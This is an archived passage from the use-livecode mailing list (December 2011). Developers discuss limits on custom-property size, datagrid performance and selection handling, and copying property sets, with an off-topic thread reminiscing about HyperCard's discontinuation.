With a constructor set, parts are already prefabbed, and a system is worked out for how the pieces all fit together. You don't have to go get raw materials to work with, all that has been done for you. You just have to decide what you want to make, and if the parts all exist to be successful. But what you are going to end up with is no where near as elegant as you might have envisioned, nor will it be as functional, especially the more complex your project. But putting something together that is useful and even fairly complex is MUCH FASTER! The toolchest approach means you have to make each part yourself, from the ground up. Perhaps you can adapt to pieces others have built already, (API's, libraries etc) but essentially, everything has to be manufactured all by keeping in mind a very precise plan for how it will all fit and work together. LOT more planning is required, as well as a fairly refined skillset and a level of expertise that much fewer people have. And it is going to take a LOT more time, probably more than any one person really wants to spend, so you will probably have to enlist help for more complex projects, and they will have to be experienced to some degree as well. In the end it comes down to this: There are a huge number of people, that if convinced there is a software "constructor set" advanced enough and yet simple enough that they could make a customized app they really need for a minimal investment in time, learning and money, they would jump at the opportunity. We need to find those people. Neither the constructor set project, nor the toolchest project is going to build itself. And for my part, I know for a fact that I do not have the time to become proficient with the toolchests of today (Java, C++ Objective C) to ever get to the place where I can even begin to build something approaching useful. So I would rather work with the mystery knobs, because those I can figure out and then it won't be a mystery anymore. But the huge store of black magic behind the door that is Java, C++ and Objective C I will never grasp, and really don't want to. My 2? Bob On Dec 1, 2011, at 12:23 PM, Todd Geist wrote: > LiveCode has an awful lot of Mystery Knobs. > > Todd From bobs at twft.com Thu Dec 1 18:45:56 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 15:45:56 -0800 Subject: Custom Property Data Limit? In-Reply-To: <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: I do not know what that means. At any rate, let me remind everyone that sqlYoga produces arrays that are compatible with datagrids, so that a simple query for all the records or even a subset of records, and then set the dgData of group "myDataGrid" to theDataA or something of the sort. for updates, you could do something like trap selectionChanged in the datagrid script (and I think there is also a way to determine what the last selected row was) so that you can put together an update query whenever the selection changes. Just make sure your datagrid and sql columns match up. But even without sqlYoga a loop can be written to parse the cursor out to an array. That is what sqlYoga does internally anyway. But you would also have to get a list of the columns in the table so you could set the keys of the array properly. It's a bit more complicated that way. Bob On Dec 1, 2011, at 1:26 PM, mike at doub.com wrote: > I found that when going to the database approach and directly feeding the database you are limited to a fixed row height datagrid. > > -= Mike From pete at mollysrevenge.com Thu Dec 1 19:13:42 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 16:13:42 -0800 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: Or just use revDataFromQuery with the columns in your SELECT statement in the same order as the datagrid columns then set the dgtext of the datagrid to the returned value. If you're using a datagrid to store your data, there doesn't seem much point in creating a cursor... Pete On Thu, Dec 1, 2011 at 3:45 PM, Bob Sneidar wrote: > I do not know what that means. At any rate, let me remind everyone that > sqlYoga produces arrays that are compatible with datagrids, so that a > simple query for all the records or even a subset of records, and then set > the dgData of group "myDataGrid" to theDataA or something of the sort. > > for updates, you could do something like trap selectionChanged in the > datagrid script (and I think there is also a way to determine what the last > selected row was) so that you can put together an update query whenever the > selection changes. Just make sure your datagrid and sql columns match up. > > But even without sqlYoga a loop can be written to parse the cursor out to > an array. That is what sqlYoga does internally anyway. But you would also > have to get a list of the columns in the table so you could set the keys of > the array properly. It's a bit more complicated that way. > > Bob > > > On Dec 1, 2011, at 1:26 PM, mike at doub.com wrote: > > > I found that when going to the database approach and directly feeding > the database you are limited to a fixed row height datagrid. > > > > -= Mike > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From mike at doub.com Thu Dec 1 19:25:40 2011 From: mike at doub.com (Michael Doub) Date: Thu, 1 Dec 2011 19:25:40 -0500 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: Bob, Using the GetDataForLine Callback is the technique that I was referring to that forces you to have a fixed row height. See: http://lessons.runrev.com/s/lessons/m/datagrid/l/7341-Displaying-Large-Amounts-of-Data -= Mike On 2011-12-01, at 6:45 PM, Bob Sneidar wrote: > I do not know what that means. At any rate, let me remind everyone that sqlYoga produces arrays that are compatible with datagrids, so that a simple query for all the records or even a subset of records, and then set the dgData of group "myDataGrid" to theDataA or something of the sort. > > for updates, you could do something like trap selectionChanged in the datagrid script (and I think there is also a way to determine what the last selected row was) so that you can put together an update query whenever the selection changes. Just make sure your datagrid and sql columns match up. > > But even without sqlYoga a loop can be written to parse the cursor out to an array. That is what sqlYoga does internally anyway. But you would also have to get a list of the columns in the table so you could set the keys of the array properly. It's a bit more complicated that way. > > Bob > > > On Dec 1, 2011, at 1:26 PM, mike at doub.com wrote: > >> I found that when going to the database approach and directly feeding the database you are limited to a fixed row height datagrid. >> >> -= Mike > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Thu Dec 1 19:30:15 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 16:30:15 -0800 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: <95A8C1AA-5CD1-4F9A-AE62-5F4A2D13C9FA@twft.com> Oh I thought this was an updatable database. Bob On Dec 1, 2011, at 4:13 PM, Pete wrote: > If you're using a datagrid to store your data, > there doesn't seem much point in creating a cursor... > Pete From bobs at twft.com Thu Dec 1 19:36:21 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 1 Dec 2011 16:36:21 -0800 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: <2B21B249-4F8B-43E0-9AD2-432DE5F8FF0C@twft.com> Oh I see, so that is a method for displaying large amounts of data if you think that you may overwhelm the datagrid with too much data. Interesting. Bob On Dec 1, 2011, at 4:25 PM, Michael Doub wrote: > Bob, > > Using the GetDataForLine Callback is the technique that I was referring to that forces you to have a fixed row height. > > See: > http://lessons.runrev.com/s/lessons/m/datagrid/l/7341-Displaying-Large-Amounts-of-Data > > > -= Mike From mike at doub.com Thu Dec 1 19:37:37 2011 From: mike at doub.com (Michael Doub) Date: Thu, 1 Dec 2011 19:37:37 -0500 Subject: Datagrid Row Selection In-Reply-To: <5CA1AFBD-FCB3-4832-8A46-8CB2F7E64ED2@doub.com> References: <5CA1AFBD-FCB3-4832-8A46-8CB2F7E64ED2@doub.com> Message-ID: I solved both problems mentioned below by moving the mouseup script out of the behaviour script and placed it in the script of the group of the datagrid itself. The script was altered to get the proper addressing and make it more concise. All seems to be working fine. I also removed the mouseDoubleUp example that was provided as part of the default script provided upon data grid creation. on Mouseup put the dgControl of group "Contacts" into theGrid put the dgClickIndex of theGrid into tIndex get the dgVScroll of group "Contacts" set the pVScroll of this card to it set the pRecID of Card "Action" to GetDataofIndex(tIndex,"RecID") go to card "Action" end Mouseup -= Mike On 2011-11-30, at 1:02 PM, Michael Doub wrote: > I am experiencing another interesting behaviour. As you can see in the code below I am trying to go to the card "Action". > The card is displayed but neither the PreOpenCard or OpenCard handers are being invoked. This is seen in the mac development environment. > > Does any one have an idea as to what would cause this behaviour? > > -= Mike > > > On 2011-11-30, at 6:15 AM, Michael Doub wrote: > >> What is the proper way to detect a row selection on a datagrid on IOS when a scroller is being used? >> >> I currently am using the scroller script from the DGH and the following handler in the data grid behaviour script: >> >> on Mouseup pMouseBtnNum >> if pMouseBtnNum is 1 then >> put the dgClickIndex of me into tIndex >> get the dgVScroll of group "Contacts" >> set the pVScroll of this card to it >> get GetDataofIndex(tIndex,"RecID") >> set the pRecID of Card "Action" to it >> go to card "Action" >> end if >> end Mouseup >> >> This seems to work reliably on the mac, but in the simulator and on the device I get the proper >> scrolling and selection behaviour but with a occasional data grid failure where the grid seems frozen with only a few of the >> rows redrawn. This happens when scrolling. >> >> I suspect there is an interaction with the selection logic as when this handler is removed scrolling works as expected. >> >> -= Mike >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Thu Dec 1 19:42:42 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 1 Dec 2011 19:42:42 -0500 (EST) Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net><1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> Message-ID: <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> Just for the hell of it, I made a custom property of a button with one billion chars, 100,000,000 lines of ten chars. If I ask it for line, say, 28455999, it gives it instantly. Craig Newman -----Original Message----- From: Michael Doub To: How to use LiveCode Sent: Thu, Dec 1, 2011 2:27 pm Subject: Re: Custom Property Data Limit? Bob, Using the GetDataForLine Callback is the technique that I was referring to that forces you to have a fixed row height. See: http://lessons.runrev.com/s/lessons/m/datagrid/l/7341-Displaying-Large-Amounts-of-Data -= Mike On 2011-12-01, at 6:45 PM, Bob Sneidar wrote: > I do not know what that means. At any rate, let me remind everyone that sqlYoga produces arrays that are compatible with datagrids, so that a simple query for all the records or even a subset of records, and then set the dgData of group "myDataGrid" to theDataA or something of the sort. > > for updates, you could do something like trap selectionChanged in the datagrid script (and I think there is also a way to determine what the last selected row was) so that you can put together an update query whenever the selection changes. Just make sure your datagrid and sql columns match up. > > But even without sqlYoga a loop can be written to parse the cursor out to an array. That is what sqlYoga does internally anyway. But you would also have to get a list of the columns in the table so you could set the keys of the array properly. It's a bit more complicated that way. > > Bob > > > On Dec 1, 2011, at 1:26 PM, mike at doub.com wrote: > >> I found that when going to the database approach and directly feeding the database you are limited to a fixed row height datagrid. >> >> -= Mike > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Thu Dec 1 19:43:42 2011 From: mike at doub.com (Michael Doub) Date: Thu, 1 Dec 2011 19:43:42 -0500 Subject: Custom Property Data Limit? In-Reply-To: <2B21B249-4F8B-43E0-9AD2-432DE5F8FF0C@twft.com> References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> <2B21B249-4F8B-43E0-9AD2-432DE5F8FF0C@twft.com> Message-ID: I did some testing and on my touch, things got pretty sluggish around 1000 records using dgData or dgText. 1000 records on a PC/mac was not a problem at all. -= Mike On 2011-12-01, at 7:36 PM, Bob Sneidar wrote: > Oh I see, so that is a method for displaying large amounts of data if you think that you may overwhelm the datagrid with too much data. Interesting. > > Bob > From jacque at hyperactivesw.com Thu Dec 1 19:49:32 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 01 Dec 2011 18:49:32 -0600 Subject: Custom Property Data Limit? In-Reply-To: <4ED7BFAF.8040208@comcast.net> References: <4ED7BFAF.8040208@comcast.net> Message-ID: <4ED8209C.9060800@hyperactivesw.com> On 12/1/11 11:55 AM, Marty Knapp wrote: > I'm storing a tab-delimited text list in a custom property, with each > item maybe up to 25 characters or so in length and around 12 items per > line. Over time, this could grow to several hundred thousand lines. The > data is displayed in a datagrid. It's working just fine for me at this > point, but is there a limit to how much data you can put into a custom > property? Is there a point at which there will be a performance hit when > displaying in a datagrid? I'm just wondering if I need to start learning > about sql for my data storage for the long haul. As far as I know there is no limit to the amount of data you can store in a custom property as long as it doesn't go above the total stack size that's allowed, which is about 4 gigs. I'm not sure how that would affect a datagrid though. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bonnmike at gmail.com Thu Dec 1 19:50:39 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 1 Dec 2011 17:50:39 -0700 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: Bob said: Let me propose that a solution cannot be simpler than the problem it is meant to solve. Yep. The most important part of programming/building/creation in general is defining the problem. Well ok, for me the biggest issue is making it pretty since I have zero design intuition. But that problem doesn't show up until the defining has been successfully completed. What I love about computers and programming is that you (hopefully) only have to solve a given problem ONCE. At least until changes. From pete at mollysrevenge.com Thu Dec 1 19:55:55 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 16:55:55 -0800 Subject: Custom Property Data Limit? In-Reply-To: <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> Message-ID: Yeah, I can see that would work faster than getting the data from an SQL db. Would be interested to compare speeds with more complicated retrievals though, eg get a list all rows with "xyz" in column 5 and "abc" in column 8, or something similar. Course, the app in question may not need that kind of complexity. Pete PS This reminded me of the difference between an American billion and and English billion.... On Thu, Dec 1, 2011 at 4:42 PM, wrote: > Just for the hell of it, I made a custom property of a button with one > billion chars, 100,000,000 lines of ten chars. If I ask it for line, say, > 28455999, it gives it instantly. > > > Craig Newman > > > > -----Original Message----- > From: Michael Doub > To: How to use LiveCode > Sent: Thu, Dec 1, 2011 2:27 pm > Subject: Re: Custom Property Data Limit? > > > Bob, > > Using the GetDataForLine Callback is the technique that I was referring to > that > forces you to have a fixed row height. > > See: > > http://lessons.runrev.com/s/lessons/m/datagrid/l/7341-Displaying-Large-Amounts-of-Data > > > -= Mike > > > > On 2011-12-01, at 6:45 PM, Bob Sneidar wrote: > > > I do not know what that means. At any rate, let me remind everyone that > sqlYoga produces arrays that are compatible with datagrids, so that a > simple > query for all the records or even a subset of records, and then set the > dgData > of group "myDataGrid" to theDataA or something of the sort. > > > > for updates, you could do something like trap selectionChanged in the > datagrid > script (and I think there is also a way to determine what the last > selected row > was) so that you can put together an update query whenever the selection > changes. Just make sure your datagrid and sql columns match up. > > > > But even without sqlYoga a loop can be written to parse the cursor out > to an > array. That is what sqlYoga does internally anyway. But you would also > have to > get a list of the columns in the table so you could set the keys of the > array > properly. It's a bit more complicated that way. > > > > Bob > > > > > > On Dec 1, 2011, at 1:26 PM, mike at doub.com wrote: > > > >> I found that when going to the database approach and directly feeding > the > database you are limited to a fixed row height datagrid. > >> > >> -= Mike > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Thu Dec 1 20:01:15 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 1 Dec 2011 17:01:15 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: Totally agree with that. Plus LiveCode isn't a solution to anything, it's a tool to implement a solution. Pete On Thu, Dec 1, 2011 at 4:50 PM, Mike Bonner wrote: > Bob said: Let me propose that a solution cannot be simpler than the problem > it is meant to solve. > > Yep. The most important part of programming/building/creation in general is > defining the problem. Well ok, for me the biggest issue is making it pretty > since I have zero design intuition. But that problem doesn't show up until > the defining has been successfully completed. > > What I love about computers and programming is that you (hopefully) only > have to solve a given problem ONCE. At least until requirement here> changes. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Thu Dec 1 20:02:30 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 01 Dec 2011 19:02:30 -0600 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> References: <4ED7D75A.20505@gmail.com> <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> Message-ID: <4ED823A6.2090206@hyperactivesw.com> On 12/1/11 4:54 PM, Bob Sneidar wrote: > What made Hypercard obsolete was time and the lack of certain things > that became essential to modern apps or dev environments, like say > real color support or database access, not to mention a robust > graphics engine like Livecode has. Steve Jobs killed it. The HC team was in the middle of writing version 3.0 which would have brought it up to date with modern apps of the day. It was QuickTime based, which gave it color and the graphics engine you mention. Other additions were planned. When the community heard it was to be discontinued, we mounted a protest. Steve Jobs had no idea what HC was or why we were concerned (Phil Schiller thought it was only good for making rolodexes,) and after receiving a bombardment of emails and faxes, Steve asked Kevin Calhoun for a demo so he could see what HC was. He was completely unfamiliar with it. KC called me afterward to talk about it. Steve didn't understand what HC was good for and went ahead with his plan. He disbanded the HC team and most of its engineers left the company. I've heard there were other reasons as well, but none of them had to do with the program itself. LiveCode has grown to be much more capable, as it turns out. I'm glad we ended up here. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From todd at geistinteractive.com Thu Dec 1 20:15:12 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 1 Dec 2011 17:15:12 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: Hi Bob, The part that I most liked about the linked article was the emphasis on explorability. I think HyperCard had it. My other Tool FileMaker had it. FileMaker has less of it today. And I think that LiveCode is not as explorable as HyperCard was. In the case of LiveCode it nows support 7 platforms instead of one. This adds a lot of complexity, but I am not sure I would trade that away. I will say this that LiveCode and FileMaker both remain two of the most explorable user interface design tools around. HTML/CSS/Javascript have traditionally sucked in this regard although recently that has changed with the rise of Jquery and other JS libraries. Still I defy anyone who has not done it before to create a simple form with HTML/CSS and JS, I don't care what IDE they use, they won't be able to do it. But give some body a LiveCode Stack or a FileMaker DB and they might be able to pull it off. They can explore their way there. Thats what I love about Explorability. But your other point about a solution not being simpler than the problem it is meant to solve. I understand what you mean. But if that were true then there wouldn't be much advancement in technology. I think that breakthroughs in technology are really about taking a complex problem and making it simpler. The best solutions are the simplest ones. "Any intelligent fool can make things bigger and more complex... It takes a touch of genius - and a lot of courage to move in the opposite direction." - Albert Einstein Todd On Thu, Dec 1, 2011 at 3:37 PM, Bob Sneidar wrote: > Hi Todd. Let me propose that a solution cannot be simpler than the problem > it is meant to solve. People who think so are usually only imagining how > simple the solution can be. When they actually get in and try to solve it, > they find a world of complexity that was hiding behind their imaginations. > Every serious developer finds this to be true eventually. That was my > problem when I first started using Livecode. Coming from Hypercard, I > thought, "Oh I know how to do that!" But I had to relearn a lot, and some > things I had to learn from scratch, and I am still learning every day! > > Livecode is to me like a constructor set of pieces of things you can put > together to make something, rather than a toolchest full of tools to make > something. You can see the advantages and disadvantages of each approach. > With a constructor set, parts are already prefabbed, and a system is worked > out for how the pieces all fit together. You don't have to go get raw > materials to work with, all that has been done for you. You just have to > decide what you want to make, and if the parts all exist to be successful. > But what you are going to end up with is no where near as elegant as you > might have envisioned, nor will it be as functional, especially the more > complex your project. But putting something together that is useful and > even fairly complex is MUCH FASTER! > > The toolchest approach means you have to make each part yourself, from the > ground up. Perhaps you can adapt to pieces others have built already, > (API's, libraries etc) but essentially, everything has to be manufactured > all by keeping in mind a very precise plan for how it will all fit and work > together. LOT more planning is required, as well as a fairly refined > skillset and a level of expertise that much fewer people have. And it is > going to take a LOT more time, probably more than any one person really > wants to spend, so you will probably have to enlist help for more complex > projects, and they will have to be experienced to some degree as well. > > In the end it comes down to this: There are a huge number of people, that > if convinced there is a software "constructor set" advanced enough and yet > simple enough that they could make a customized app they really need for a > minimal investment in time, learning and money, they would jump at the > opportunity. We need to find those people. Neither the constructor set > project, nor the toolchest project is going to build itself. And for my > part, I know for a fact that I do not have the time to become proficient > with the toolchests of today (Java, C++ Objective C) to ever get to the > place where I can even begin to build something approaching useful. > > So I would rather work with the mystery knobs, because those I can figure > out and then it won't be a mystery anymore. But the huge store of black > magic behind the door that is Java, C++ and Objective C I will never grasp, > and really don't want to. My 2? > > Bob > > > On Dec 1, 2011, at 12:23 PM, Todd Geist wrote: > > > LiveCode has an awful lot of Mystery Knobs. > > > > Todd > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From mpetrides at earthlink.net Thu Dec 1 21:09:16 2011 From: mpetrides at earthlink.net (Petrides, M.D. Marian) Date: Thu, 1 Dec 2011 20:09:16 -0600 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <4ED823A6.2090206@hyperactivesw.com> References: <4ED7D75A.20505@gmail.com> <4C2933A1-2B11-4F54-A729-3F1AA45BB4E3@twft.com> <4ED823A6.2090206@hyperactivesw.com> Message-ID: <588D3A94-93C8-4C97-B3DC-EA84151448F5@earthlink.net> That's for sure. One other missing "feature" in Hypercard that was not mentioned is cross-platform support, which LC does very well. (Thank Heavens!) On Dec 1, 2011, at 7:02 PM, J. Landman Gay wrote: > LiveCode has grown to be much more capable, as it turns out. I'm glad we ended up here. From dunbarx at aol.com Thu Dec 1 23:15:40 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 1 Dec 2011 23:15:40 -0500 (EST) Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com><53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> I had always thought that it was the developers who successfully lobbied against HC. It was feared that sales of shrink wrapped software in general would suffer if a large population of users could roll their own solutions. No need for filemaker or excel. Craig Newman -----Original Message----- From: Todd Geist To: How to use LiveCode Sent: Thu, Dec 1, 2011 3:17 pm Subject: Re: [OT}] Hypercard and an uneasy read. Hi Bob, The part that I most liked about the linked article was the emphasis on explorability. I think HyperCard had it. My other Tool FileMaker had it. FileMaker has less of it today. And I think that LiveCode is not as explorable as HyperCard was. In the case of LiveCode it nows support 7 platforms instead of one. This adds a lot of complexity, but I am not sure I would trade that away. I will say this that LiveCode and FileMaker both remain two of the most explorable user interface design tools around. HTML/CSS/Javascript have traditionally sucked in this regard although recently that has changed with the rise of Jquery and other JS libraries. Still I defy anyone who has not done it before to create a simple form with HTML/CSS and JS, I don't care what IDE they use, they won't be able to do it. But give some body a LiveCode Stack or a FileMaker DB and they might be able to pull it off. They can explore their way there. Thats what I love about Explorability. But your other point about a solution not being simpler than the problem it is meant to solve. I understand what you mean. But if that were true then there wouldn't be much advancement in technology. I think that breakthroughs in technology are really about taking a complex problem and making it simpler. The best solutions are the simplest ones. "Any intelligent fool can make things bigger and more complex... It takes a touch of genius - and a lot of courage to move in the opposite direction." - Albert Einstein Todd On Thu, Dec 1, 2011 at 3:37 PM, Bob Sneidar wrote: > Hi Todd. Let me propose that a solution cannot be simpler than the problem > it is meant to solve. People who think so are usually only imagining how > simple the solution can be. When they actually get in and try to solve it, > they find a world of complexity that was hiding behind their imaginations. > Every serious developer finds this to be true eventually. That was my > problem when I first started using Livecode. Coming from Hypercard, I > thought, "Oh I know how to do that!" But I had to relearn a lot, and some > things I had to learn from scratch, and I am still learning every day! > > Livecode is to me like a constructor set of pieces of things you can put > together to make something, rather than a toolchest full of tools to make > something. You can see the advantages and disadvantages of each approach. > With a constructor set, parts are already prefabbed, and a system is worked > out for how the pieces all fit together. You don't have to go get raw > materials to work with, all that has been done for you. You just have to > decide what you want to make, and if the parts all exist to be successful. > But what you are going to end up with is no where near as elegant as you > might have envisioned, nor will it be as functional, especially the more > complex your project. But putting something together that is useful and > even fairly complex is MUCH FASTER! > > The toolchest approach means you have to make each part yourself, from the > ground up. Perhaps you can adapt to pieces others have built already, > (API's, libraries etc) but essentially, everything has to be manufactured > all by keeping in mind a very precise plan for how it will all fit and work > together. LOT more planning is required, as well as a fairly refined > skillset and a level of expertise that much fewer people have. And it is > going to take a LOT more time, probably more than any one person really > wants to spend, so you will probably have to enlist help for more complex > projects, and they will have to be experienced to some degree as well. > > In the end it comes down to this: There are a huge number of people, that > if convinced there is a software "constructor set" advanced enough and yet > simple enough that they could make a customized app they really need for a > minimal investment in time, learning and money, they would jump at the > opportunity. We need to find those people. Neither the constructor set > project, nor the toolchest project is going to build itself. And for my > part, I know for a fact that I do not have the time to become proficient > with the toolchests of today (Java, C++ Objective C) to ever get to the > place where I can even begin to build something approaching useful. > > So I would rather work with the mystery knobs, because those I can figure > out and then it won't be a mystery anymore. But the huge store of black > magic behind the door that is Java, C++ and Objective C I will never grasp, > and really don't want to. My 2? > > Bob > > > On Dec 1, 2011, at 12:23 PM, Todd Geist wrote: > > > LiveCode has an awful lot of Mystery Knobs. > > > > Todd > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From keith at gulfbreezeortholab.com Fri Dec 2 00:21:19 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 1 Dec 2011 23:21:19 -0600 Subject: Copying and pasting a data grid form? Message-ID: <9C7F3D5DD7884680AEC976017D0FF801@KeithPC> Hi All, Okay, I am at a loss. I have a stack with several cards... On one card I have a custom data grid form with graphics and several text fields... What I want to do is copy the data grid and then paste it onto another card--which works fine. The problem is, I am unclear about how to create a new template for the pasted data grid... When I make minor changes to the template, the changes are also applied to the original data grid on the previous card... How can I create a new template for the pasted data grid so that I can make changes to it without affecting the original data grid? I want to find a way to do this without having to recreate the second data grid from scratch, because there are only minor changes and it would be quite time-consuming to say the least... I found the following link, but it does not really explain what I am looking for: http://www.forums.runrev.com/viewtopic.php?f=8&t=3365 Thanks, - Boo From niconiko at gmail.com Fri Dec 2 00:31:27 2011 From: niconiko at gmail.com (Nicolas Cueto) Date: Fri, 2 Dec 2011 14:31:27 +0900 Subject: copy custom property set Message-ID: Hello. I'm not too confident with custom properties, so my terminology here could be imprecise. In my stack's custom properties there is a set called "en". In turn, that set "en" has a long list of keys (?). Thus, for example, if I script: put the en["greetingMorning"] of stack "myStack" it'll return: "Good morning!" What I want to do is create a new custom prop called "ja", with the same long list of keys as "en", but with different contents. Thus, for example, if I script: put the ja["greetingMorning"] of stack "myStack" it'll return: "Ohayo gozaimasu" But I do not know how to: 1) create "ja" with the same keys as "en" 2) insert data into each of the keys of "ja" I don't mind doing (2) manually. But is there not an automatic way of doing (1)? Thank you. -- Nicolas Cueto From mike at doub.com Fri Dec 2 01:30:46 2011 From: mike at doub.com (Michael Doub) Date: Fri, 2 Dec 2011 01:30:46 -0500 Subject: copy custom property set In-Reply-To: References: Message-ID: <95531533-AC1C-4CD5-AFA3-060F5D5C8CA1@doub.com> I think that your question may be more about arrays that custom properties. Maybe this will give you some ideas. -= Mike on mouseUp put "goodmorning" & Tab& "Good Morning!" & return &\ "goodevening" & tab & "Good Evening!" & return into enArray split enArray with return and tab put "Good Afternoon!" into enArray["goodafternoon"] set the en of this stack to enArray repeat for each line x in the keys of enArray switch x case "goodmorning" put "gm" into ja{x] break case "goodafternoon" put "ga" into ja{x] break case "goodevening" put "ge" into ja{x] break end switch end repeat set the ja of this stack to ja put the en of this stack into x put the ja of this stack into y beep end mouseUp From bonnmike at gmail.com Fri Dec 2 01:42:47 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 1 Dec 2011 23:42:47 -0700 Subject: copy custom property set In-Reply-To: References: Message-ID: You can do something like this. put the customproperties["en"] of stack "stackname" into myArray --at this point you can modify the array to change your values and then set the customproperties["ja"] of stack "stackname" to myArray On Thu, Dec 1, 2011 at 10:31 PM, Nicolas Cueto wrote: > Hello. > > I'm not too confident with custom properties, so my terminology here 